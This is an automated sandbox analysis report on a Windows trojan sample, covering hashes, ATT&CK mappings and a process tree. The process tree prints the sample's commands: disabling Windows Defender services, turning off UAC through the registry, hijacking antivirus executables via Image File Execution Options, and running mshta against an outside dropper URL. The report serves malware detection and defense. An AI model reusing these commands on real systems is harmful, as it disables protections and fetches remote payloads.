13bea9694a6b9ca62d29c5fb3337231b406615f10e103889b337251f97814775

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
08/07/2024, 20:15

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General

Target

2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe
Size

2.2MB
MD5

2dab1dbc69f84a8582d118aeb9605c52
SHA1

6ebebcfc0f3d01c11afe21fe95a67af0b5578ba1
SHA256

13bea9694a6b9ca62d29c5fb3337231b406615f10e103889b337251f97814775
SHA512

c0adc6b26e986098677f8b5b1bd34c9bfe13025b00f4efafd4656c3beb7115269dd971e373606c3211aba3388e53080a7ba79280325736c513b46d8f2bbae8d4
SSDEEP

49152:dRRIZ2dUIPYiiqowvq00p7PiKXTqp/nYi:Lw/IrwzXOp/Yi

Score

10^/10

evasion execution persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=MPPNGHQZ&2=i-s&3=104&4=9200&5=6&6=2&7=919041&8=1033

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-587429654-1855694383-2268796072-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\nrrlgu.exe"	nrrlgu.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	nrrlgu.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	nrrlgu.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	nrrlgu.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	nrrlgu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	nrrlgu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe"	nrrlgu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe	nrrlgu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger = "svchost.exe"	nrrlgu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe	nrrlgu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger = "svchost.exe"	nrrlgu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	nrrlgu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	nrrlgu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	nrrlgu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe"	nrrlgu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe	nrrlgu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	nrrlgu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	nrrlgu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	nrrlgu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	nrrlgu.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-587429654-1855694383-2268796072-1000\Control Panel\International\Geo\Nation	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
3280	nrrlgu.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	nrrlgu.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4620	sc.exe
4260	sc.exe
2692	sc.exe
2832	sc.exe
3852	sc.exe
1916	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3280	nrrlgu.exe
Token: SeShutdownPrivilege	3280	nrrlgu.exe
Token: SeDebugPrivilege	3280	nrrlgu.exe
Token: SeShutdownPrivilege	3280	nrrlgu.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe
3280	nrrlgu.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 4952 wrote to memory of 3852	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	84
PID 4952 wrote to memory of 3852	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	84
PID 4952 wrote to memory of 3852	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	84
PID 4952 wrote to memory of 1916	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	85
PID 4952 wrote to memory of 1916	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	85
PID 4952 wrote to memory of 1916	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	85
PID 4952 wrote to memory of 3160	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	86
PID 4952 wrote to memory of 3160	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	86
PID 4952 wrote to memory of 3160	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	86
PID 4952 wrote to memory of 4620	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	87
PID 4952 wrote to memory of 4620	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	87
PID 4952 wrote to memory of 4620	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	87
PID 4952 wrote to memory of 3280	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	92
PID 4952 wrote to memory of 3280	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	92
PID 4952 wrote to memory of 3280	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	92
PID 3160 wrote to memory of 244	3160	net.exe	93
PID 3160 wrote to memory of 244	3160	net.exe	93
PID 3160 wrote to memory of 244	3160	net.exe	93
PID 4952 wrote to memory of 4084	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	94
PID 4952 wrote to memory of 4084	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	94
PID 4952 wrote to memory of 4084	4952	2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe	94
PID 3280 wrote to memory of 2832	3280	nrrlgu.exe	97
PID 3280 wrote to memory of 2832	3280	nrrlgu.exe	97
PID 3280 wrote to memory of 2832	3280	nrrlgu.exe	97
PID 3280 wrote to memory of 2692	3280	nrrlgu.exe	98
PID 3280 wrote to memory of 2692	3280	nrrlgu.exe	98
PID 3280 wrote to memory of 2692	3280	nrrlgu.exe	98
PID 3280 wrote to memory of 2964	3280	nrrlgu.exe	99
PID 3280 wrote to memory of 2964	3280	nrrlgu.exe	99
PID 3280 wrote to memory of 2964	3280	nrrlgu.exe	99
PID 3280 wrote to memory of 4260	3280	nrrlgu.exe	100
PID 3280 wrote to memory of 4260	3280	nrrlgu.exe	100
PID 3280 wrote to memory of 4260	3280	nrrlgu.exe	100
PID 3280 wrote to memory of 4192	3280	nrrlgu.exe	105
PID 3280 wrote to memory of 4192	3280	nrrlgu.exe	105
PID 3280 wrote to memory of 4192	3280	nrrlgu.exe	105
PID 2964 wrote to memory of 1704	2964	net.exe	106
PID 2964 wrote to memory of 1704	2964	net.exe	106
PID 2964 wrote to memory of 1704	2964	net.exe	106

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	nrrlgu.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	nrrlgu.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	nrrlgu.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	nrrlgu.exe

C:\Users\Admin\AppData\Local\Temp\2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\2dab1dbc69f84a8582d118aeb9605c52_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4952
- C:\Windows\SysWOW64\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3852
- C:\Windows\SysWOW64\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1916
- C:\Windows\SysWOW64\net.exe
  net stop msmpsvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msmpsvc
    3⤵
    PID:244
- C:\Windows\SysWOW64\sc.exe
  sc config msmpsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4620
- C:\Users\Admin\AppData\Roaming\Microsoft\nrrlgu.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\nrrlgu.exe
  2⤵
  - Modifies WinLogon for persistence
  - UAC bypass
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3280
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:2832
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:2692
- - C:\Windows\SysWOW64\net.exe
    net stop msmpsvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop msmpsvc
      4⤵
      PID:1704
- - C:\Windows\SysWOW64\sc.exe
    sc config msmpsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4260
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=MPPNGHQZ&2=i-s&3=104&4=9200&5=6&6=2&7=919041&8=1033"
    3⤵
    PID:4192
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\2DAB1D~1.EXE" >> NUL
  2⤵
  PID:4084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\nrrlgu.exe

Filesize
2.2MB

MD5
2dab1dbc69f84a8582d118aeb9605c52

SHA1
6ebebcfc0f3d01c11afe21fe95a67af0b5578ba1

SHA256
13bea9694a6b9ca62d29c5fb3337231b406615f10e103889b337251f97814775

SHA512
c0adc6b26e986098677f8b5b1bd34c9bfe13025b00f4efafd4656c3beb7115269dd971e373606c3211aba3388e53080a7ba79280325736c513b46d8f2bbae8d4

Download Submit
memory/3280-33-0x0000000000400000-0x000000000082F000-memory.dmp

Filesize
4.2MB

Download
memory/3280-29-0x0000000000400000-0x000000000082F000-memory.dmp

Filesize
4.2MB

Download
memory/4952-24-0x0000000003530000-0x0000000003531000-memory.dmp

Filesize
4KB

Download
memory/4952-22-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/4952-4-0x0000000002680000-0x0000000002681000-memory.dmp

Filesize
4KB

Download
memory/4952-8-0x0000000003510000-0x0000000003730000-memory.dmp

Filesize
2.1MB

Download
memory/4952-17-0x0000000003510000-0x0000000003511000-memory.dmp

Filesize
4KB

Download
memory/4952-16-0x0000000003510000-0x0000000003511000-memory.dmp

Filesize
4KB

Download
memory/4952-15-0x0000000003730000-0x0000000003731000-memory.dmp

Filesize
4KB

Download
memory/4952-14-0x0000000003510000-0x0000000003511000-memory.dmp

Filesize
4KB

Download
memory/4952-13-0x0000000003520000-0x0000000003521000-memory.dmp

Filesize
4KB

Download
memory/4952-18-0x0000000003510000-0x0000000003512000-memory.dmp

Filesize
8KB

Download
memory/4952-12-0x0000000003520000-0x0000000003521000-memory.dmp

Filesize
4KB

Download
memory/4952-0-0x0000000000400000-0x000000000082F000-memory.dmp

Filesize
4.2MB

Download
memory/4952-23-0x0000000000AA0000-0x0000000000AA1000-memory.dmp

Filesize
4KB

Download
memory/4952-5-0x00000000026F0000-0x00000000026F1000-memory.dmp

Filesize
4KB

Download
memory/4952-21-0x0000000003520000-0x0000000003521000-memory.dmp

Filesize
4KB

Download
memory/4952-20-0x0000000003500000-0x0000000003502000-memory.dmp

Filesize
8KB

Download
memory/4952-19-0x0000000003560000-0x0000000003561000-memory.dmp

Filesize
4KB

Download
memory/4952-11-0x0000000003520000-0x0000000003521000-memory.dmp

Filesize
4KB

Download
memory/4952-10-0x0000000003520000-0x0000000003521000-memory.dmp

Filesize
4KB

Download
memory/4952-9-0x0000000003520000-0x0000000003521000-memory.dmp

Filesize
4KB

Download
memory/4952-3-0x0000000002690000-0x0000000002691000-memory.dmp

Filesize
4KB

Download
memory/4952-2-0x00000000026A0000-0x00000000026A1000-memory.dmp

Filesize
4KB

Download
memory/4952-6-0x00000000026C0000-0x00000000026C1000-memory.dmp

Filesize
4KB

Download
memory/4952-7-0x0000000002720000-0x0000000002721000-memory.dmp

Filesize
4KB

Download
memory/4952-32-0x0000000002510000-0x000000000256A000-memory.dmp

Filesize
360KB

Download
memory/4952-31-0x0000000000400000-0x000000000082F000-memory.dmp

Filesize
4.2MB

Download
memory/4952-1-0x0000000002510000-0x000000000256A000-memory.dmp

Filesize
360KB

Download